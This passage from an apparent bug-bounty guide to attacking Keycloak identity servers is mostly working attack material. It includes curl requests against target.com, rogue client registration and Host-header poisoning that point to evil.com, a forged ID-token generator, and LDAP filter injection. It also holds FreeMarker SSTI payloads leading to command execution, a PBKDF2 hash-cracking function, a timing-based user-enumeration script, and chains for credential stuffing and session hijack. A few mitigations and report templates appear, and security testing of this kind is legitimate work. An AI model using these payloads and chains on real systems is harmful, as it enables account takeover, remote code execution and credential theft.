    # 2. Keycloak validates the JWKS URI against the safe IP
    # 3. After validation, rebind the domain to an internal IP
    # 4. Keycloak makes the actual request to the internal IP
    # Use a DNS server that returns:
    # First query: 1.2.3.4 (safe)
    # Second query: 169.254.169.254 (cloud metadata)
    # This bypasses URI-based allowlist validation

    mitigation: configure the DNS resolver to reject public domain names resolving to non-public IPs.


    identity brokering attacks

    identity brokering is keycloak’s way of saying “i trust this other auth provider.” and sometimes, that trust is misplaced.

    account takeover via idp

    lab: first broker login auto-linking

    Terminal window
    # 1. Find a realm with an OIDC IdP configured
    curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/identity-providers | jq '.[].alias'
    # 2. Check if the first-broker-login flow has IdpAutoLink enabled
    curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/authentication/flows | jq '.[].alias'
    # 3. If auto-link is enabled:
    # a. Create an account on the external IdP with victim's email
    # b. Login via the IdP
    # c. Keycloak auto-links the IdP identity to victim's account
    # d. Account takeover complete

    idp token forwarding

    lab: steal external idp tokens

    Terminal window
    # If "Store Tokens" is enabled for the IdP, Keycloak stores the external tokens
    # These can be accessed via the Account REST API
    # 1. Authenticate and get Keycloak tokens
    # 2. Use access token to access Account API
    curl -H "Authorization: Bearer $ACCESS_TOKEN" \
    https://target.com/auth/realms/{realm}/account/linked-accounts
    # 3. Check if external tokens are accessible
    # If "Store Token" is on, you may get the external OAuth tokens

    idp signature bypass

    lab: skip signature verification

    if the IdP is configured with Validate Signatures: OFF:

    Terminal window
    # 1. Forge an OIDC ID token from the "external" IdP
    # 2. Sign it with your own key
    # 3. Submit it to Keycloak's callback endpoint
    # 4. Keycloak accepts it without signature verification
    # Generate a forged ID token
    python3 -c "
    import jwt
    payload = {
    'sub': 'attacker-external-id',
    'email': 'victim@example.com',
    'iss': 'https://idp.example.com',
    'aud': 'keycloak-client-id',
    'exp': 9999999999
    }
    token = jwt.encode(payload, 'secret', algorithm='HS256')
    print(token)
    "

    idp callback parameter injection

    lab: code/state parameter injection

    Terminal window
    # The IdP callback endpoint is:
    # GET /realms/{realm}/broker/{idp_alias}/endpoint
    # Parameters received from IdP:
    # - code: Authorization code
    # - state: State parameter (must match session)
    # - session_state: OIDC session state
    # If state validation is weak, try:
    # 1. Replay a previous state value
    # 2. Modify the state to reference another session
    # 3. Inject a code from a different IdP

    fine-grained authorization (uma) attacks

    UMA is keycloak’s way of saying “you can access this resource, but only if you have the right permissions.” let’s see if we can talk our way into more access than we should have.

    uma overview

    keycloak implements User-Managed Access (UMA) 2.0:

    • Resource Server: Protects resources, manages permissions
    • Authorization Server: Keycloak, evaluates policies
    • Requesting Party: Client requesting access

    uma protection api

    Terminal window
    # 1. Create a resource
    curl -X POST "https://target.com/auth/realms/{realm}/authz/protection/resource_set" \
    -H "Authorization: Bearer $RPT" \
    -d '{"name": "Sensitive Document", "type": "document", "owner": "user-id"}'
    # 2. Create a permission ticket
    curl -X POST "https://target.com/auth/realms/{realm}/authz/protection/permission" \
    -H "Authorization: Bearer $RPT" \
    -d '{"resource_id": "resource-id", "resource_scopes": ["read"]}'
    # 3. Request RPT with permission ticket
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:uma-ticket&\
    ticket={permission_ticket}&\
    client_id={client_id}"

    uma policy bypass

    lab: scope escalation

    Terminal window
    # 1. Request RPT with minimal scopes
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:uma-ticket&\
    ticket={ticket}&\
    scope=read"
    # 2. If policies are not properly configured, requesting additional scopes
    # may grant elevated permissions
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:uma-ticket&\
    ticket={ticket}&\
    scope=read+write+delete+admin"

    lab: js policy exploitation

    Terminal window
    # Keycloak supports JavaScript-based policies
    # If custom JS policies are deployed, they may have vulnerabilities
    # Check policy types via Admin API
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/authorization/policies | jq '.[].config'
    # Look for JavaScript policies with eval() or unsafe operations

    rpt token abuse

    lab: requesting party token introspection

    Terminal window
    # Introspect an RPT to see all permissions
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token/introspect" \
    -u "{client_id}:{client_secret}" \
    -d "token={RPT}"
    # Response includes permissions array with resource_id and scopes

    user federation & ldap attacks

    keycloak can connect to external user stores like LDAP. it’s convenient, but it also opens up a whole new attack surface.

    ldap integration attack surface

    Terminal window
    # Check if LDAP is configured
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/components?\
    type=org.keycloak.storage.UserStorageProvider&\
    parentId={realm-id} | jq '.[].config'

    ldap attack vectors:

    VectorDescription
    LDAP InjectionIf user search filters include unsanitized input
    Bind Credentials ExposureIf LDAP bind DN/password is stored in plaintext in config
    Read-Only BypassIf LDAP is READ_ONLY, create local accounts with same usernames
    Unsynchronized ModeIn UNSYNCED mode, local changes may override LDAP data
    Password ImportIf “Import Users” is on, passwords are imported as PBKDF2 hashes
    Kerberos SPNEGOSPNEGO authentication may be bypassable if Kerberos is misconfigured

    ldap credential extraction

    lab: ldap bind credential access

    Terminal window
    # LDAP bind credentials are stored in the component configuration
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/components?\
    type=org.keycloak.storage.UserStorageProvider | jq '.[].config'
    # Look for: "bindDn", "bindCredential"
    # If you have admin access, you can read these
    # The password is stored encrypted, but the encryption key is in the Keycloak config

    lab: filter injection

    Terminal window
    # Keycloak's user search sends queries to LDAP
    # If the search filter includes user input without sanitization:
    # Normal: (uid=user123)
    # Injected: *)(objectClass=*)(uid=*
    # This could return ALL users in the LDAP directory

    admin console & API attacks

    the admin console is the crown jewels. if you can get in here, you own everything.

    admin console exposure

    lab: check admin console access

    Terminal window
    # Check if admin console is accessible
    curl -s -o /dev/null -w "%{http_code}" https://target.com/auth/admin/
    # 200 = accessible, 403 = restricted, 401 = auth required
    # Check if admin REST API is accessible
    curl -s -o /dev/null -w "%{http_code}" https://target.com/auth/admin/serverinfo
    # 401 = requires auth, 200 = open (misconfiguration!)

    admin api privilege escalation

    lab: fine-grained admin permissions (fgap) bypass

    Terminal window
    # Check if FGAP is configured
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/master/components?\
    type=org.keycloak.authentication.RequiredActionProvider | jq '.[] | select(.name == "fgap")'
    # Test if delegated admin can access unauthorized resources
    # Delegated admin has restricted permissions via FGAP
    # Try accessing resources outside their granted scope

    lab: admin event injection

    Terminal window
    # Admin events may contain user-controlled data
    # If event listeners process URLs or user data without sanitization
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/events | jq '.[] | select(.resourceType == "USER")'

    bootstrap admin exploitation

    lab: bootstrap admin default credentials

    Terminal window
    # Bootstrap admin is created during initial master realm setup
    # Default username: temp-admin
    # Default expiration: 120 minutes
    # If you find a Keycloak instance with:
    # - Bootstrap admin enabled
    # - Default or weak credentials
    # You can gain full admin access
    # Check if bootstrap admin is active
    # Look for: /auth/admin/ with temp-admin user

    admin rest api v2

    Terminal window
    # Admin API v2 introduces new endpoints
    # Check for new features that may have misconfigurations
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms | jq '.[].realm'

    client registration & policy bypass

    dynamic client registration is a feature that lets you register new clients on the fly. it’s convenient for developers, and it’s a goldmine for attackers.

    dynamic client registration

    lab: oidc dynamic client registration (rfc 7591)

    Terminal window
    # Check if dynamic registration is enabled
    curl https://target.com/auth/realms/{realm}/.well-known/openid-configuration | \
    jq '.registration_endpoint'
    # If enabled, register a client
    curl -X POST "https://target.com/auth/realms/{realm}/clients-registrations/openid-connect" \
    -H "Content-Type: application/json" \
    -d '{
    "redirect_uris": ["https://evil.com/callback"],
    "grant_types": ["authorization_code", "password", "client_credentials"],
    "response_types": ["code"]
    }'
    # Response includes: client_id, client_secret
    # Now you have a client with ROPC and client_credentials enabled

    attack: dynamic registration without policies allows:

    • Registration of clients with dangerous grant types (ROPC, client_credentials)
    • Registration with overly broad redirect URIs
    • Registration with access to offline_access scope

    client policy bypass

    lab: testing client policy enforcement

    Terminal window
    # Check client policies
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/client-policies | jq '.policies'
    # Test each executor:
    # 1. PKCEEnforcerExecutor - Try auth without code_challenge
    # 2. RejectImplicitGrantExecutor - Try implicit flow
    # 3. RejectResourceOwnerPasswordCredentialsGrantExecutor - Try ROPC
    # 4. SecureRedirectUrisEnforcerExecutor - Try unregistered redirect URIs
    # 5. SecureSigningAlgorithmExecutor - Try weak algorithms
    # 6. DPoPBindEnforcerExecutor - Try without DPoP proof
    # 7. HolderOfKeyEnforceExecutor - Try without mTLS certificate

    registration access token abuse

    Terminal window
    # Registration access tokens allow clients to update their own configuration
    # If you compromise a registration access token, you can:
    # 1. Modify the client's redirect URIs
    # 2. Change the client's grant types
    # 3. Add dangerous scopes
    # 4. Change the client's authentication method
    # Test: Can you register a client and then modify it via the registration access token?
    curl -X PUT "https://target.com/auth/realms/{realm}/clients-registrations/openid-connect/{client_id}" \
    -H "Authorization: Bearer $REGISTRATION_ACCESS_TOKEN" \
    -d '{"redirect_uris": ["https://evil.com/callback"]}'

    token exchange exploitation

    token exchange is keycloak’s way of letting one service act as another. it’s powerful, and it can be dangerous if misconfigured.

    standard token exchange (v2)

    lab: internal token exchange

    Terminal window
    # Standard exchange: convert an access token for one client to another
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange&\
    subject_token={ACCESS_TOKEN}&\
    subject_token_type=urn:ietf:params:oauth:token-type:access_token&\
    audience=target-client&\
    requested_token_type=urn:ietf:params:oauth:token-type:access_token&\
    client_id={client_id}&\
    client_secret={secret}"
    # V2 only supports internal-to-internal exchange
    # The subject_token must be a Keycloak-issued access token

    attack vectors:

    1. Scope escalation: request broader scopes than the original token had
    2. Audience escalation: exchange token for access to a different service
    3. Token impersonation: if V1 (legacy) is enabled, external tokens can be exchanged

    legacy token exchange (v1)

    lab: external token exchange

    Terminal window
    # V1 allows external tokens as subject_token
    # This means tokens from other OAuth servers can be exchanged
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange&\
    subject_token={EXTERNAL_TOKEN}&\
    subject_token_type=urn:ietf:params:oauth:token-type:access_token&\
    audience=target-client&\
    client_id={client_id}&\
    client_secret={secret}"
    # If the IdP doesn't validate the external token properly,
    # this could allow unauthorized token exchange

    audience manipulation

    Terminal window
    # The audience parameter filters what the token is valid for
    # Test: Can you request tokens for audiences you shouldn't have access to?
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=client_credentials&\
    client_id={client_id}&\
    client_secret={secret}&\
    audience=admin-api"

    cookies are how keycloak keeps track of who you are. let’s look at how they work and how they can fail.

    CookieNameScopeSameSiteHttpOnlySecure
    IdentityKEYCLOAK_IDENTITYFEDERATIONNone (requires HTTPS)YesYes (if HTTPS)
    SessionKEYCLOAK_SESSIONFEDERATION_JSNone (requires HTTPS)NoYes (if HTTPS)
    Auth SessionAUTH_SESSION_IDFEDERATIONNone (requires HTTPS)YesYes (if HTTPS)
    State CheckerAUTH_DETACHEDINTERNALStrictYesYes (if HTTPS)
    RestartAUTH_RESTARTFEDERATIONNone (requires HTTPS)YesYes (if HTTPS)
    Welcome CSRFWELCOME_STATE_CHECKERINTERNALStrictYesYes (if HTTPS)

    key: FEDERATION_JS means JavaScript-accessible (no HttpOnly). this is used for iframe status checks.

    lab: samesite downgrade

    # If a cookie has SameSite=None but the context is NOT secure (HTTP):
    # Keycloak DOWNGRADES it to SameSite=Lax
    # This prevents cross-origin cookie theft over HTTP
    # But if the attacker can force HTTPS:
    # 1. The cookie is sent with SameSite=None
    # 2. The cookie is HttpOnly=false (KEYCLOAK_SESSION)
    # 3. JavaScript in an attacker-controlled page can read it
    # Test: Access the target over HTTP
    curl -v http://target.com/auth/realms/{realm}/protocol/openid-connect/auth?... 2>&1 | grep -i "set-cookie"
    # If SameSite=Lax instead of None, the downgrade is working

    session state in keycloak_session

    lab: session state leakage

    # The KEYCLOAK_SESSION cookie is JavaScript-accessible (HttpOnly=false)
    # It contains: {realm}/{session_id}/{client_id}/{tab_id}
    # An attacker with XSS can read this cookie
    # The iframe-based session checking sends:
    # GET /auth/realms/{realm}/protocol/openid-connect/login-status-iframe.html
    # This checks if the user is still authenticated
    # The response reveals session state information

    password policy & enforcement bypass

    keycloak has password policies, but they’re only as good as their configuration. and spoiler alert: the defaults are not great.

    default password policy

    Terminal window
    # Check realm password policy
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm} | jq '.passwordPolicy'
    # Default: NONE (no password policy)
    # Available policies:
    # - length (min length)
    # - digits (min digits)
    # - uppercase (min uppercase)
    # - lowercase (min lowercase)
    # - specialChars (min special chars)
    # - notUsername (password can't be username)
    # - passwordHistory (can't reuse recent passwords)
    # - passwordBlacklist (denylist check)
    # - forced-per-change (force password change on login)
    # - MaximumAge (password expires after N days)

    password blacklist bypass

    Terminal window
    # Keycloak supports password denylists (bloom filter or file-based)
    # Default path: $KC_HOME/data/password-blacklists/
    # Test: Try commonly breached passwords
    # The denylist is case-insensitive and checks against the exact password
    # If the denylist is not loaded, all passwords are accepted

    password hashing algorithms

    AlgorithmIterationsKey
    PBKDF2-SHA512210,000Default
    PBKDF2-SHA25627,500Alternative
    Argon2ConfigurableMemory-hard
    BCryptConfigurableVia BC FIPS

    attack: if you can extract password hashes (e.g., from H2 database or LDAP), the hash algorithm determines offline cracking difficulty.


    event system & information leakage

    keycloak logs a lot of events. sometimes too many events. let’s see what we can learn from them.

    login event logging

    Terminal window
    # Login events are logged per realm
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/events | jq '.[]'
    # Key event types:
    # - LOGIN (success)
    # - LOGIN_ERROR (failure - includes error type, IP, user agent)
    # - REGISTER (new user)
    # - LOGOUT
    # - REFRESH_TOKEN
    # - SEND_VERIFY_EMAIL
    # - SEND_RESET_PASSWORD
    # - RESET_PASSWORD
    # - USER_DISABLED_BY_TEMPORARY_LOCKOUT
    # - USER_DISABLED_BY_PERMANENT_LOCKOUT

    attack: login events may reveal:

    • Usernames of valid accounts (via REGISTER events)
    • IP addresses of legitimate users (via LOGIN events)
    • Error patterns that indicate whether an account exists

    admin event logging

    Terminal window
    # Admin events log all administrative actions
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/admin-events | jq '.[]'
    # Admin events reveal:
    # - All configuration changes
    # - User creation/modification
    # - Client registration changes
    # - Role assignments
    # - Admin IP addresses and user agents

    clickjacking & browser security header bypass

    keycloak sets security headers on its responses. let’s see which ones are actually protecting you.

    default security headers

    keycloak sets these headers per realm:

    HeaderDefaultAttack
    X-Frame-OptionsSAMEORIGINClickjacking if changed to ALLOWALL
    Content-Security-Policyframe-ancestors 'self'CSP bypass if misconfigured
    X-Content-Type-OptionsnosniffMIME sniffing if removed
    Strict-Transport-Securitymax-age=31536000; includeSubDomainsMissing preload
    Referrer-Policyno-referrerReferer leakage if changed
    X-Robots-TagnoneSEO/OSINT if removed

    lab: security header test

    Terminal window
    curl -s -D- https://target.com/auth/realms/{realm}/.well-known/openid-configuration | grep -i "x-frame\|content-security\|strict-transport\|x-content-type\|referrer-policy"

    x-frame-options bypass

    lab: iframe embedding

    <!-- If X-Frame-Options is missing or ALLOWALL, embed the login page -->
    <iframe src="https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\
    client_id={client_id}&\
    redirect_uri=https://evil.com/callback&\
    response_type=code&\
    scope=openid&\
    state=ATTACKER_STATE">
    </iframe>

    content security policy bypass

    Terminal window
    # Check CSP header
    curl -s -D- https://target.com/auth/realms/{realm}/account | grep -i "content-security-policy"
    # CSP should include:
    # frame-ancestors 'self'
    # script-src 'self'
    # style-src 'self' 'unsafe-inline' (Keycloak allows inline styles for themes)

    host header attacks

    the host header is one of those things that developers forget about until it becomes a problem. keycloak has some interesting host header issues.

    host header injection

    lab: password reset poisoning

    Terminal window
    # Keycloak uses the public hostname in:
    # - Token issuer (iss claim)
    # - Password reset emails
    # - Redirect URIs
    # - Email content
    # If hostname-strict=false (dev mode default), the hostname is taken from the request Host header
    curl -H "Host: evil.com" https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?...
    # The password reset email will contain: https://evil.com/auth/realms/{realm}/login-actions/reset-credentials?...

    mitigation: set hostname-strict=true in production (default in production mode).

    hostname debug page

    Terminal window
    # If hostname-debug=true (should be false in production):
    curl https://target.com/auth/realms/master/hostname-debug
    # This page reveals:
    # - Current hostname configuration
    # - Frontend URL
    # - Backend URL
    # - CORS test results

    theme & ui customization attacks

    keycloak themes use FreeMarker templates. and if user input reaches those templates, we have SSTI.

    freemarker template injection (ssti)

    lab: theme ssti

    Terminal window
    # Keycloak themes use FreeMarker templates
    # If a custom theme allows user input in templates:
    # Attack payload:
    ${product.version}
    ${.now?string("yyyy-MM-dd")}
    ${.data_model?keys?join(",")}
    # More dangerous:
    <#assign ex="freemarker.template.utility.Execute"?new()>
    ${ex("id")}
    # Or via ObjectConstructor:
    <#assign classloader=object.class.protectionDomain.classLoader>
    <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

    attack: if user input reaches FreeMarker template rendering (e.g., in custom login forms), RCE is possible. that’s a big deal.

    source map disclosure

    Terminal window
    # Keycloak blocks .js.map files in production via RejectSourceMapFilter
    # But check if custom themes expose source maps
    curl https://target.com/auth/resources/{theme}/login/account/js/custom-theme.js.map
    # If accessible, reveals:
    # - Theme source code
    # - Custom business logic
    # - Potential hardcoded secrets

    theme resource inclusion

    Terminal window
    # Themes can include remote resources
    # Check for SSRF via theme resources
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm}/... | grep -i "theme"
    # If themes load remote CSS/JS, they can be used for:
    # - Tracking users
    # - Injecting malicious scripts
    # - Exfiltrating data

    cryptographic weaknesses

    keycloak uses cryptography to protect tokens and sessions. let’s see where it might be weak.

    token signing key exposure

    lab: jwks key rotation testing

    Terminal window
    # Fetch current signing keys
    curl https://target.com/auth/realms/{realm}/protocol/openid-connect/certs | jq '.keys[] | {kid, alg, kty, use}'
    # Check key rotation:
    # 1. Get current kid
    # 2. Wait for rotation
    # 3. Verify old tokens are rejected
    # Key types:
    # RS256/RS384/RS512 - RSA public keys
    # ES256/ES384/ES512 - ECDSA public keys
    # PS256/PS384/PS512 - RSA-PSS public keys

    internal token secret

    Terminal window
    # Internal tokens use HS512 with a server-side secret
    # If this secret is compromised, all internal tokens can be forged
    # Internal tokens include:
    # - KEYCLOAK_IDENTITY cookie JWT
    # - State checker tokens
    # - Action tokens
    # - Authentication session tokens
    # The secret is derived from the server configuration and should never be exposed

    password hash cracking

    # If you extract password hashes from Keycloak:
    # Format: PBKDF2-HMAC-SHA512:210000:BASE64_SALT:BASE64_HASH
    import hashlib, base64
    def crack_pbkdf2(hash_str, wordlist):
    parts = hash_str.split(":")
    iterations = int(parts[1])
    salt = base64.b64decode(parts[2])
    stored_hash = base64.b64decode(parts[3])
    for word in wordlist:
    dk = hashlib.pbkdf2_hmac('sha512', word.encode(), salt, iterations)
    if dk == stored_hash:
    return word
    return None

    side-channel & timing attacks

    sometimes the fastest way to find a user is to measure how long the server takes to respond.

    user enumeration via timing

    import time
    import requests
    # Time-based user enumeration
    users = ["admin", "user1", "nonexistent999"]
    for user in users:
    start = time.time()
    requests.post(f"https://target.com/auth/realms/{realm}/protocol/openid-connect/token", data={
    "grant_type": "password",
    "username": user,
    "password": "wrong_password",
    "client_id": "account-console"
    })
    elapsed = time.time() - start
    print(f"{user}: {elapsed:.3f}s")
    # Existing users may take longer due to:
    # 1. Password hash comparison
    # 2. LDAP bind attempt
    # 3. Brute force check

    error message differentiation

    Terminal window
    # Different error messages for different failure modes:
    # - "Invalid user credentials" - wrong password for existing user
    # - "Account disabled" - account is disabled
    # - "Account not verified" - email not verified
    # - "Too many login failures" - brute force lockout
    # These different messages enable user enumeration

    session & token lifecycle attacks

    tokens and sessions have lifetimes. let’s see what happens when they expire, and what happens when they don’t.

    default timeout values

    SettingDefaultSeconds
    SSO Session Idle30 minutes1800
    SSO Session Max10 hours36000
    Access Token Lifespan5 minutes300
    Access Token (Implicit)15 minutes900
    Offline Session Idle30 days2592000
    Offline Session Max60 days5184000
    Auth Code Lifespan1 minute60
    Auth Code (Login)30 minutes1800
    Auth Code (User Action)5 minutes300
    Action Token (Admin)12 hours43200

    token replay after session revocation

    Terminal window
    # 1. Get tokens for a user
    # 2. Revoke the user's session via Admin API
    curl -X DELETE "https://target.com/auth/admin/realms/{realm}/sessions/{session_id}" \
    -H "Authorization: Bearer $ADMIN_TOKEN"
    # 3. Test if the access token still works
    # The access token is valid until expiry even if the session is revoked
    # Only refresh tokens are invalidated on session revocation
    # Keycloak pushes a "not-before" policy to invalidate old tokens
    # But this requires manual admin action

    offline token abuse

    Terminal window
    # Offline tokens bypass session idle timeout
    # They persist for 60 days by default (offline_session_max_lifespan)
    # 1. Request offline token
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=authorization_code&\
    code={CODE}&\
    redirect_uri={URI}&\
    client_id={CLIENT_ID}&\
    scope=openid+offline_access"
    # 2. The refresh_token in the response has type=offline
    # 3. Use it to get new access tokens indefinitely (until offline_session_max_lifespan)

    account takeover chains

    this is where we tie everything together. here are five different ways to take over an account in keycloak.

    full account takeover chain

    Chain 1: Registration → Email → Password Reset → Account Takeover
    1. Find realm with self-registration enabled
    2. Register with victim's email (if email verification disabled)
    3. Use account to access victim's resources
    Chain 2: IdP → Auto-Link → Account Takeover
    1. Find realm with IdP + auto-link enabled
    2. Create IdP account with victim's email
    3. Login via IdP → auto-links to victim's account
    Chain 3: ROPC → Credentials → Session
    1. Find client with ROPC enabled
    2. Use known credentials (from breach databases)
    3. Get tokens via ROPC grant
    Chain 4: Brute Force → Password Guess → Account Access
    1. Verify brute force protection is disabled (default)
    2. Perform credential stuffing attack
    3. Access account with guessed password
    Chain 5: Token Theft → Refresh Token → Persistent Access
    1. Find XSS in application consuming Keycloak tokens
    2. Steal KEYCLOAK_SESSION cookie (HttpOnly=false)
    3. Extract session_id from cookie
    4. Use session to get new tokens

    lab: unlinking social accounts

    Terminal window
    # Unlink a social account
    curl -X DELETE "https://target.com/auth/realms/{realm}/account/linked-accounts/{provider}" \
    -H "Authorization: Bearer $ACCESS_TOKEN"
    # Rules:
    # 1. User must have a password configured (can't unlink last auth method)
    # 2. Only social providers can be unlinked
    # 3. Event: IDENTITY_PROVIDER_REMOVE_FEDERATED_IDENTITY is emitted
    # Attack: If you can force unlinking, the user loses access via the IdP
    # Then you can link a different IdP account

    multi-tenancy & realm isolation

    keycloak supports multiple realms, each supposedly isolated from each other. let’s verify that.

    realm isolation testing

    Terminal window
    # Test if realms are properly isolated
    # 1. Get a token for realm A
    TOKEN_A=$(curl -X POST "https://target.com/auth/realms/realm-a/protocol/openid-connect/token" \
    -d "grant_type=password&client_id=...&username=...&password=...")
    # 2. Try to use it against realm B
    curl -H "Authorization: Bearer $TOKEN_A" \
    https://target.com/auth/admin/realms/realm-b/users
    # Should return 403 or 401
    # 3. Check token issuer validation
    curl https://target.com/auth/realms/realm-b/protocol/openid-connect/userinfo \
    -H "Authorization: Bearer $TOKEN_A"
    # Should reject the token (wrong issuer)

    master realm admin access

    Terminal window
    # The master realm has full control over all other realms
    # Admin accounts in the master realm can:
    # - View and manage any realm
    # - Create/delete realms
    # - Access all admin APIs
    # - Modify any user in any realm
    # Attack: If you compromise a master realm admin, you own everything

    cross-realm role mapping

    Terminal window
    # Roles are realm-scoped
    # A user in realm A cannot have roles from realm B
    # But composite roles may cross realm boundaries
    # Test: Can a user with realm-admin role in realm A access realm B?
    curl -H "Authorization: Bearer $REALM_A_ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/realm-b/users

    supply chain & configuration drift

    keycloak has a lot of dependencies. some of them have CVEs. and the configuration can drift over time.

    dependency vulnerabilities

    Terminal window
    # Check for known CVEs in the Keycloak version
    # https://repology.org/project/keycloak/cves
    # Keycloak CVE examples:
    # CVE-2020-1697: Open redirect in authorization endpoint
    # CVE-2020-1718: Account console XSS
    # CVE-2020-1715: User injection via LDAP
    # CVE-2021-20250: Insecure deserialization
    # CVE-2022-4361: Account console XSS
    # CVE-2023-0103: OIDC request smuggling
    # CVE-2023-48795: SSH prefix truncation attack (Terrapin)
    # CVE-2024-25710: DoS via XML parsing
    # CVE-2024-27131: Unsafe deserialization

    configuration drift detection

    Terminal window
    # Export current realm configuration
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm} > realm_config.json
    # Compare against expected configuration
    diff expected_realm.json realm_config.json
    # Key settings to monitor:
    # - bruteForceProtected (should be true)
    # - sslRequired (should be 'all')
    # - registrationAllowed (should be false)
    # - resetPasswordAllowed (should be true only if needed)
    # - editUsernameAllowed (should be false)
    # - passwordPolicy (should be set)

    advanced attack chains

    this is where we chain multiple vulnerabilities together. these are the chains that lead to full compromise.

    chain: ssrf → internal token theft → admin access

    1. Find a client with misconfigured JWKS URI
    2. Point JWKS URI to internal metadata endpoint
    3. Trigger token request to cause SSRF
    4. From SSRF response, extract internal signing keys
    5. Forge internal tokens (session cookies)
    6. Use forged session to access admin console

    the look on your face when the JWKS URI SSRF actually works and you get cloud metadata

    chain: ropc → credential stuffing → mass account takeover

    1. Verify ROPC is enabled (default for many clients)
    2. Verify brute force protection is disabled (default)
    3. Use credential database to stuff accounts
    4. For each successful login, get tokens
    5. Use tokens to access Account API
    6. Change password/email to lock out original user

    chain: open redirect → code theft → token exchange

    1. Find client with wildcard redirect URI
    2. Register malicious subdomain
    3. Intercept authorization code
    4. Exchange code for tokens
    5. Use token exchange to get access to other services

    chain: idp misconfiguration → account takeover

    1. Find realm with external IdP (e.g., GitHub)
    2. Verify IdP signature validation is disabled
    3. Create account on external IdP with victim's email
    4. Login via IdP → Keycloak creates new account
    5. OR: If auto-link is enabled, links to victim's account
    6. Access victim's Keycloak account
    1. Find XSS in application consuming Keycloak tokens
    2. Read KEYCLOAK_SESSION cookie (HttpOnly=false)
    3. Extract session_id, client_id, tab_id from cookie
    4. Craft forged KEYCLOAK_SESSION cookie
    5. Use to authenticate as victim
    6. Move laterally to all applications in the SSO session

    the face you make when you chain XSS → cookie theft → session hijack → lateral movement and the bounty gets paid


    bug bounty reporting templates

    here are some templates i use when reporting keycloak findings. yours should be structured similarly.

    misconfiguration reports

    ## Title: [SEVERITY] Keycloak Misconfiguration - [ISSUE]
    ### Summary
    [One-line description]
    ### Affected Component
    - Keycloak Version: [version]
    - Configuration: [relevant settings]
    ### Steps to Reproduce
    1. [Step 1]
    2. [Step 2]
    ...
    ### Impact
    [What an attacker can achieve]
    ### Evidence
    [HTTP requests/responses, screenshots]
    ### Remediation
    [Specific configuration change]

    vulnerability reports

    ## Title: [SEVERITY] [VULNERABILITY TYPE] in Keycloak [COMPONENT]
    ### Summary
    [One-line description]
    ### Vulnerability Details
    - Type: [e.g., IDOR, XSS, SSRF]
    - Component: [e.g., Token Endpoint, Admin API]
    - Prerequisites: [What access is needed]
    ### Steps to Reproduce
    1. [Step 1 with exact HTTP requests]
    2. [Step 2]
    ...
    ### Proof of Concept
    [Minimal reproducible example]
    ### Impact
    [Authentication bypass, privilege escalation, data exposure]
    ### CVSS Assessment
    - Attack Vector: [Network/Adjacent/Local/Physical]
    - Attack Complexity: [Low/High]
    - Privileges Required: [None/Low/High]
    - User Interaction: [None/Required]
    - Scope: [Unchanged/Changed]
    - Confidentiality: [None/Low/High]
    - Integrity: [None/Low/High]
    - Availability: [None/Low/High]
    ### Remediation
    [Specific fix recommendations]

    quick reference cheat sheet

    i keep this open in a tab while i’m testing. it’s a lot of endpoints and defaults, but it’s all useful.

    endpoints

    Realm Info: /auth/realms/{realm}/
    OIDC Discovery: /auth/realms/{realm}/.well-known/openid-configuration
    JWKS: /auth/realms/{realm}/protocol/openid-connect/certs
    Authorization: /auth/realms/{realm}/protocol/openid-connect/auth
    Token: /auth/realms/{realm}/protocol/openid-connect/token
    UserInfo: /auth/realms/{realm}/protocol/openid-connect/userinfo
    Introspection: /auth/realms/{realm}/protocol/openid-connect/token/introspect
    Revocation: /auth/realms/{realm}/protocol/openid-connect/revoke
    Logout: /auth/realms/{realm}/protocol/openid-connect/logout
    Device Auth: /auth/realms/{realm}/protocol/openid-connect/auth/device
    CIBA: /auth/realms/{realm}/protocol/openid-connect/ext/ciba/backchannel
    PAR: /auth/realms/{realm}/protocol/openid-connect/ext/par/request
    Registration: /auth/realms/{realm}/clients-registrations/openid-connect
    SAML Descriptor: /auth/realms/{realm}/protocol/saml/descriptor
    Admin Console: /auth/admin/
    Admin API: /auth/admin/realms/
    Account Console: /auth/realms/{realm}/account/
    IdP Broker: /auth/realms/{realm}/broker/{alias}/endpoint
    Login Actions: /auth/realms/{realm}/login-actions/{action}

    admin api quick commands

    Terminal window
    # Get all realms
